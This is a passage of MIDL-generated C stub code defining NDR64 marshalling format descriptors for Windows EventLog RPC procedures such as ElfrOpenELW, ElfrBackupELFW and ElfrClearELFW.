0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag150,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag122,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag49_t __midl_frag49 =\n{ \n/* ElfrRegisterEventSourceW */\n    { \n    /* ElfrRegisterEventSourceW */      /* procedure ElfrRegisterEventSourceW */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 46 /* 0x2e */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* UNCServerName */      /* parameter UNCServerName */\n        &__midl_frag60,\n        { \n        /* UNCServerName */\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* ModuleName */      /* parameter ModuleName */\n        &__midl_frag5,\n        { \n        /* ModuleName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* RegModuleName */      /* parameter RegModuleName */\n        &__midl_frag5,\n        { \n        /* RegModuleName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* MajorVersion */      /* parameter MajorVersion */\n        &__midl_frag210,\n        { \n        /* MajorVersion */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* MinorVersion */      /* parameter MinorVersion */\n        &__midl_frag210,\n        { \n        /* MinorVersion */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag150,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag210,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag41_t __midl_frag41 =\n0x11    /* FC64_WCHAR */;\n\nstatic const __midl_frag40_t __midl_frag40 =\n{ \n/* *wchar_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 8 /* 0x8 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag41\n};\n\nstatic const __midl_frag39_t __midl_frag39 =\n{ \n/* ElfrOpenELW */\n    { \n    /* ElfrOpenELW */      /* procedure ElfrOpenELW */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 46 /* 0x2e */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* UNCServerName */      /* parameter UNCServerName */\n        &__midl_frag40,\n        { \n        /* UNCServerName */\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* ModuleName */      /* parameter ModuleName */\n        &__midl_frag5,\n        { \n        /* ModuleName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* RegModuleName */      /* parameter RegModuleName */\n        &__midl_frag5,\n        { \n        /* RegModuleName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* MajorVersion */      /* parameter MajorVersion */\n        &__midl_frag132,\n        { \n        /* MajorVersion */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* MinorVersion */      /* parameter MinorVersion */\n        &__midl_frag132,\n        { \n        /* MinorVersion */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag150,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag132,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag36_t __midl_frag36 =\n{ \n/* RPC_CLIENT_ID */\n    { \n    /* RPC_CLIENT_ID */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* RPC_CLIENT_ID */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    }\n};\n\nstatic const __midl_frag34_t __midl_frag34 =\n{ \n/* ElfrChangeNotify */\n    { \n    /* ElfrChangeNotify */      /* procedure ElfrChangeNotify */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag83,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* ClientId */      /* parameter ClientId */\n        &__midl_frag36,\n        { \n        /* ClientId */\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Event */      /* parameter Event */\n        &__midl_frag132,\n        { \n        /* Event */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag132,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag31_t __midl_frag31 =\n{ \n/* *long */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag132\n};\n\nstatic const __midl_frag29_t __midl_frag29 =\n{ \n/* ElfrOldestRecord */\n    { \n    /* ElfrOldestRecord */      /* procedure ElfrOldestRecord */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag83,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* OldestRecordNumber */      /* parameter OldestRecordNumber */\n        &__midl_frag132,\n        { \n        /* OldestRecordNumber */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag132,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag22_t __midl_frag22 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 225 /* 0xe1 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 0 /* 0x0 */\n};\n\nstatic const __midl_frag21_t __midl_frag21 =\n{ \n/* *struct _NDR64_POINTER_FORMAT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag22\n};\n\nstatic const __midl_frag20_t __midl_frag20 =\n{ \n/* ElfrDeregisterEventSource */\n    { \n    /* ElfrDeregisterEventSource */      /* procedure ElfrDeregisterEventSource */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 16 /* 0x10 */ ,  /* Stack size */\n        (NDR64_UINT32) 60 /* 0x3c */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 224 /* 0xe0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag22,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag122,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag16_t __midl_frag16 =\n{ \n/* ElfrCloseEL */\n    { \n    /* ElfrCloseEL */      /* procedure ElfrCloseEL */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 16 /* 0x10 */ ,  /* Stack size */\n        (NDR64_UINT32) 60 /* 0x3c */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 224 /* 0xe0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag22,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag210,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag12_t __midl_frag12 =\n{ \n/* ElfrBackupELFW */\n    { \n    /* ElfrBackupELFW */      /* procedure ElfrBackupELFW */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag254,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* BackupFileName */      /* parameter BackupFileName */\n        &__midl_frag5,\n        { \n        /* BackupFileName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag258,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag10_t __midl_frag10 =\n{ \n/*  */\n    { \n    /* *WCHAR */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag6\n    }\n};\n\nstatic const __midl_frag9_t __midl_frag9 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_NOOP */\n        0x5,    /* FC_EXPR_PAD */\n        (NDR64_UINT8) 4 /* 0x4 */,\n        (NDR64_UINT16) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_EXPR_CONST64 */\n        0x2,    /* FC_EXPR_CONST64 */\n        0x7,    /* FC64_INT64 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT64) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag8_t __midl_frag8 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_OPERATOR */\n        0x4,    /* FC_EXPR_OPER */\n        0x11,    /* OP_SLASH */\n        0x0,    /* FC64_ZERO */\n        (NDR64_UINT8) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x3,    /* FC64_UINT16 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_EXPR_CONST64 */\n        0x2,    /* FC_EXPR_CONST64 */\n        0x7,    /* FC64_INT64 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT64) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag7_t __midl_frag7 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_OPERATOR */\n        0x4,    /* FC_EXPR_OPER */\n        0x11,    /* OP_SLASH */\n        0x0,    /* FC64_ZERO */\n        (NDR64_UINT8) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x3,    /* FC64_UINT16 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */\n    },\n    { \n    /* struct _NDR64_EXPR_CONST64 */\n        0x2,    /* FC_EXPR_CONST64 */\n        0x7,    /* FC64_INT64 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT64) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag6_t __midl_frag6 =\n{ \n/* *WCHAR */\n    { \n    /* *WCHAR */\n        0x43,    /* FC64_CONFVAR_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *WCHAR */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag7,\n        &__midl_frag8\n    }\n};\n\nstatic const __midl_frag5_t __midl_frag5 =\n{ \n/* _RPC_UNICODE_STRING */\n    { \n    /* _RPC_UNICODE_STRING */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _RPC_UNICODE_STRING */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag10,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag2_t __midl_frag2 =\n{ \n/* ElfrClearELFW */\n    { \n    /* ElfrClearELFW */      /* procedure ElfrClearELFW */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 